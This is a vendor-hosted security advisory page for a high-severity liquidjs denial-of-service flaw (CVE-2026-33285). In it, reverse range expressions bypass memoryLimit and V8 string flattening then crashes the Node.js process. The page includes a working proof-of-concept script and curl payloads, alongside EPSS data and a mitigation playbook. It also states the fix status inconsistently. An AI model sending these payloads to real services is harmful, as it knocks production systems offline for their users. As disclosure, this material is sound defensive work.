Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-9r5m-9576-7f6x liquidjs

HIGHFix: harttle/liquidjs@95ddefc

GHSA-9r5m-9576-7f6x is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in liquidjs. No vendor fix is recorded yet; mitigation options are listed below.

LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash

Also known asCVE-2026-33285
Published
Mar 25, 2026
Updated
Mar 30, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-9r5m-9576-7f6x.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-9r5m-9576-7f6x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

655other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
liquidjsnpm
1.6Mdownloads / week

Description

Summary

LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.

Details

When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).

The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.

// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
  const low: number = yield evalToken(token.lhs, ctx)
  const high: number = yield evalToken(token.rhs, ctx)
  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)
  return range(+low, +high + 1)
}

// src/util/limiter.ts:11-14
use (count: number) {
  count = +count || 0
  assert(this.base + count <= this.limit, this.message)
  this.base += count  // base becomes negative
}

Escalation to Process Crash via Cons-String Flattening

V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.

However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:

  • Cannot be caught by JavaScript try-catch or process.on('uncaughtException')
  • Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
  • Crashes the entire service, not just the attacking connection

The complete attack chain:

  1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M
  2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory
  3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash

The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.

PoC

  • LiquidJS <= 10.24.x with memoryLimit option enabled
  • Attacker can control Liquid template source code

Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:

const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Baseline: memoryLimit blocks large allocation
  console.log('=== Step 1: Baseline (should fail) ===');
  try {
    const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
    const result = await engine.parseAndRender(baseline);
    console.log('Result:', result); // Should not reach here
  } catch (e) {
    console.log('Blocked:', e.message); // "memory alloc limit exceeded"
  }

  // Step 2 — Bypass: reverse ranges drive counter negative
  console.log('\n=== Step 2: Bypass (should succeed) ===');
  try {
    const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
    const result = await engine.parseAndRender(bypass);
    console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit
  } catch (e) {
    console.log('Error:', e.message);
  }

  // Step 3 — Process crash: cons-string flattening via replace
  console.log('\n=== Step 3: Process crash (node process will terminate) ===');
  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');
  try {
    const crash = [
      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),
      "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}",
      "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}"
    ].join('');
    const result = await engine.parseAndRender(crash);
    console.log('Result:', result); // Should not reach here
  } catch (e) {
    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable
  }
})();

Expected output:

=== Step 1: Baseline (should fail) ===
Blocked: memory alloc limit exceeded, line:1, col:43

=== Step 2: Bypass (should succeed) ===
Result: 134217728

=== Step 3: Process crash (node process will terminate) ===
If the process exits here with code 133/SIGTRAP, the crash is confirmed.
#
# Fatal error in , line 0
# Fatal JavaScript invalid size error 134217729
#

The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.

HTTP Reproduction (for applications that accept user templates)

If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):

# Step 1 — Baseline: should return "memory alloc limit exceeded"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

# Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit)
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

# Step 3 — Process crash: connection drops, server process terminates
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.

Impact

An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:

  • Complete bypass of the memoryLimit security mechanism: The explicitly configured memory limit becomes ineffective.
  • Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.
  • Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.
  • False sense of security: Administrators who configured memoryLimit believe their service is protected when it is not.
  • Container restart policy does not mitigate: Even with Docker restart: always or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦npmliquidjsall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of liquidjs has shipped for GHSA-9r5m-9576-7f6x yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9r5m-9576-7f6x can be triaged on real exposure rather than presence alone.

Tailored to GHSA-9r5m-9576-7f6x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request. ### Details When LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ran
O3 Security · Impact-Aware SCA

Is GHSA-9r5m-9576-7f6x in your dependencies?

O3 Security finds GHSA-9r5m-9576-7f6x across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-9r5m-9576-7f6x: liquidjs DoS (High 7.5) | O3 Security